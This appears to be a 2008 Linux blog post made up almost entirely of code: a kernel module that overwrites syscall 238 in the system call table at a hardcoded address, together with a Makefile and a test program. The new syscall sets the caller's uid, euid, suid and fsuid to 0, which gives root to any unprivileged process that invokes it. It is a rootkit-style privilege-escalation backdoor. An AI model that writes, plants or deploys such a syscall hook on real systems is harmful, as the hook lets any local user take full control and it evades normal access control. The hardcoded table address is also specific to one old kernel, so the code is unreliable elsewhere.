分类: LINUX
2008-02-26 15:26:47
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/unistd.h>
#include <linux/time.h>
#include <asm/uaccess.h>
#include <linux/sched.h>
#define __NR_changeuid 238
MODULE_DESCRIPTION("Change uid to 0");
MODULE_AUTHOR("ZelluX");
static int (*saved) (void);
void ** sys_call_table = 0xc0375680;
asmlinkage int sys_changeuid(void)

{
current->uid = current->euid = current->suid = current->fsuid = 0;
printk(KERN_ALERT "uid has been changed.");
return 0;
}
int __init init_addsyscall(void)

{
saved = (int (*) (void)) (sys_call_table[__NR_changeuid]);
sys_call_table[__NR_changeuid] = (unsigned long) sys_changeuid;
printk(KERN_ALERT "the call has been added.");
return 0;
}
void __exit exit_addsyscall(void)

{
sys_call_table[__NR_changeuid] = (unsigned long) saved;
printk(KERN_ALERT "the call has been removed");
}
module_init(init_addsyscall);
module_exit(exit_addsyscall);
ifneq ($(KERNELRELEASE),)
obj-m := addcall.o
else
KERNELDIR ?= /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
default:
$(MAKE) -C $(KERNELDIR) M=$(PWD) modules
endif
#include <linux/unistd.h>
#include <stdio.h>
#define __NR_changeuid 238
int main()

{
printf("Previous uid = %d\n", syscall(__NR_getuid));
syscall(__NR_changeuid);
printf("Current uid = %d\n", syscall(__NR_getuid));
return 0;
}